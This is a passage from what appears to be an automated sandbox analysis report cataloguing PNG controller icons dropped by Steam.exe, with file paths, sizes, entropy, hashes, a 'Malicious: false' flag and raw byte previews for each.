UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0507.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15858
Entropy (8bit):	7.849967374041064
Encrypted:	false
SSDEEP:
MD5:	79BE06EBA89CB7C07E0BA4008AAAC65C
SHA1:	1F46F275CDC65D32BE247CF3662D12F57D4B9B96
SHA-256:	D10F10754E77AB5074DD40AB4B8C3E0B25D9C1A4DFE92CEA3E44A70F51422785
SHA-512:	6A712AF4EE64B59EF857B84FDDEF5CE5063E87FC272DF59D99CEF2C28ED2AEBD02E7CBF3E77F321EB0884848A8A61DD9E23C23CCB2E7248A23AE31236B922E99
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0508.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15875
Entropy (8bit):	7.865628943787211
Encrypted:	false
SSDEEP:
MD5:	FF37EDF9E207BF512C2F3A4EE6B4AB85
SHA1:	643A9ED8F5B161E194033A7A7B400BE1F589AE18
SHA-256:	7589F08793ECC1985FBBCC870DC5CD535F2FA866DA15DED546BC0453D374E9CE
SHA-512:	C89B5FC5CC17CB5710F6F4AB4F47850F5D6744D51C4BBBD1F66D9C40CF6411DA29CC8C8B5D7F0C7FFBA8D725374CC37F4F8A16E80298E1A0C39AEF0FBB9279E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0509.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16196
Entropy (8bit):	7.869759034659549
Encrypted:	false
SSDEEP:
MD5:	C22BB15A4FD243DCACAE35E5BBF61028
SHA1:	0279198AAB66662A2E8A120CF4F3229F52C804F1
SHA-256:	8EA7369B5578C622E25C4D94E5F544B3A217232D640DD895EFBB67CF24F0027F
SHA-512:	2714C18AF72FEB4005424BC2B33ED3CFC12DBEF69B2DEB38F8C1B3AE338AD0B875F913C7810EB607CF1FD13222F029412864D56FC008778C5B413261551FEC9F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0510.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15077
Entropy (8bit):	7.82692068821325
Encrypted:	false
SSDEEP:
MD5:	3036A8AE1F6D5E710BAFA37F65AB6911
SHA1:	84FC394D80016E77F4E8E906083F9AD58BE0D370
SHA-256:	A574DF8961F86CC2397B1A52F194D20EA31AB46793F38CB341E4CE35026E37E6
SHA-512:	B497B76EBCAE16F3D5C878260EFBCA3B987DA4BF3D363164F7F05FCDA93AF80CB804F4D6C916B73DF9870C8686313F5AFCD5A527B4C7E84AD02D33C89531A150
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0511.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17124
Entropy (8bit):	7.895706377028112
Encrypted:	false
SSDEEP:
MD5:	1FC68FDB21F142FCC416B82A7026C510
SHA1:	6809EDFD0B0193F10531E8EE831CE9DD909140E1
SHA-256:	32E738F2D0925560A8A0A52B6BC714FCA6838348591DC68D4A97E1A9748579CA
SHA-512:	8A0840CDF3896E60445BB3B8048988C4668F05D3DF765DF6DC83C6355C1B4951CFB1AD9D60003A1E8FCF5F14C8878EAD8BC07BE3E77422FFB9D48254DE027B95
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0512.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19338
Entropy (8bit):	7.901471375961759
Encrypted:	false
SSDEEP:
MD5:	9358BA7922F854179B709D552E7771C7
SHA1:	A062FA6228B84081D17C55314F3B61309F7D2F39
SHA-256:	DACEC32DB2E9596050B2C8CFC3BA5D728E0A8858391788BC0A96925C2980476A
SHA-512:	6229D56E98AA30146D49053F7DAB9BC324CAF2B69BF97F17DDBD225061C2A7EC71FBDA16FBAC0E20D2E21CD1968EC1A9153376C791A65A948A32ED06F352D421
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0513.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14166
Entropy (8bit):	7.828246289146144
Encrypted:	false
SSDEEP:
MD5:	F6BF24E5951965985D86ADE8800338F0
SHA1:	DF0ED864BF00446128BFA43660D6CC57E0708FE8
SHA-256:	FE06BC0669D8209FFE3866F1CE497D44F55898C18F07C497BB064D568BA641B4
SHA-512:	1D15EC50EF0973F141ED3BFB6A08E3ABC9E8AEE73F10572F951164F9E596A12B1171BCBF733FB57BB99A6F94C52E01ABA99FDDEAB31CBCFADA708CF640D21E29
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0514.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18293
Entropy (8bit):	7.885230985362109
Encrypted:	false
SSDEEP:
MD5:	3A8F3EC7DD421F55FD2055DF6CA19ECB
SHA1:	548F2DF1CB886A428473B2781D670634CA61719B
SHA-256:	3A48F891FE524AB0B08C004E6D2DFCD7F7A87E964CBF9D80CFC397CC466B3A61
SHA-512:	91C86CBDD4479B381E1739C536D736FB16C108F1B104E34DBA8A077787BDD9E3B5F8DA9969C458CE0A729263325DF2BF7F033D2E5F99F1ABA82818EF5492FC13
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0515.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14625
Entropy (8bit):	7.827071621356459
Encrypted:	false
SSDEEP:
MD5:	66EE4DEC7AC2CC85A0CD2DE6D5FB3044
SHA1:	4A1A798E34E951133ECC9E8AD4731A9600B65C67
SHA-256:	2F38002E9B4A6E7E9BA1B9D3E64B8D29DA9277E8BC9EC9091C6E71198D9C5EE3
SHA-512:	57CD8B63A856993BAAB23EB4ED62FAA824C9AE9CB579AFE3C318494DB47B96F62A665CC0DBBADD9D173B20030BC23A0F19D22F83D84FBB07327E960249C77E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0516.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13638
Entropy (8bit):	7.827328238791649
Encrypted:	false
SSDEEP:
MD5:	FFB8959E8F3012F9AD74A6CE54DBA4AB
SHA1:	6BF7ED49F8F3008EFB258F21AC237CC5B5694F57
SHA-256:	355F6337096D01D35BBF70A4DA2EBA6B0AD48A66A03C74B42547295B1833B7D8
SHA-512:	787FBCA4AC17E0E60035F0A7AA2AC1C8DABF2209CE8EFE269B852C9AF9987A2FF06D2BFC26ADD8993C0B94F858048075BC0876F96F66C207988B4054431958E0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0517.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18420
Entropy (8bit):	7.902423105836559
Encrypted:	false
SSDEEP:
MD5:	0990391622FD622D1830D825D9400AAA
SHA1:	F6A0AABA94772C2F38AF1C38CBE254CED05BA2E6
SHA-256:	425EB69E769116D49720A9A5A4B8AAF93C5C47CCCD4609A5BDD3F1963BC9FC25
SHA-512:	CCBE916F8F857CEA8F5F530EC5D4C9B344A74D057E97353F3E9ED01E7CC29A805C94674657D38A6396159EE163FC6FAF7648B0E87388CB183CF7652878356C26
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0518.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18286
Entropy (8bit):	7.8970777846896265
Encrypted:	false
SSDEEP:
MD5:	8B561EAD1709F583ED4E5BE2F469083C
SHA1:	C5D8CE92A744215C1EEBA39277A345D86AC84E79
SHA-256:	684A63BC9C9F6B339CD528704E9E897C419245F2F0A44915477D255818BC70F7
SHA-512:	B8B4FEAD06AAE95B70CEB66E0E4F48563A38309EA0148E8313353A975172DAA4A91B3FCB58B490DBBFFBF4701EBEDA953B41F1424DC57516DC6378ECA65C0FC4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0519.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14302
Entropy (8bit):	7.808638467218447
Encrypted:	false
SSDEEP:
MD5:	CA30297D11C6D39FA4586207DB4054E6
SHA1:	D3A61A9E47085885855462C677F98F120A582BAE
SHA-256:	1F3D124A0A6B12610F6AFD065A8F6F6C1104E7ADFC16E172BAD08FF5DA441705
SHA-512:	8CAC255D1E38601B1EF1106460A706C379F8AFC8140F832F7647FE7A5EEE4D414633BF9D3540CB092CF17BC0DEAEF8920C0B25179F58D9251BE48426E651D708
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0520.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13497
Entropy (8bit):	7.819291651795036
Encrypted:	false
SSDEEP:
MD5:	EA2A6409597DBB024F7B83F126799E49
SHA1:	03A02E2391999D1EE1B95ECBD29C1F227FEC1409
SHA-256:	1AF64A1852A7BEAB2689C417D8EF114D87E39C9AFCF68014DE26102DE7B4BBF0
SHA-512:	626E9FDF5868FC11A4133BC9CEC9AE05FC2E38BBAB1FF659621518D8406EA610C091EAB56101E5E98FF1697EE4F837B4E41FD5448EE678F53C6A2F93144466E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0521.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17739
Entropy (8bit):	7.895299870792362
Encrypted:	false
SSDEEP:
MD5:	CB1DC762D310E9CB4DE1C5F0537EB50D
SHA1:	F2D838A3C6F69EA50652FE88EFE600984F5C898F
SHA-256:	1A796238F680E6BDC0EDA32AE9A5D65CB1F42690AD537E938553ABF9705636A0
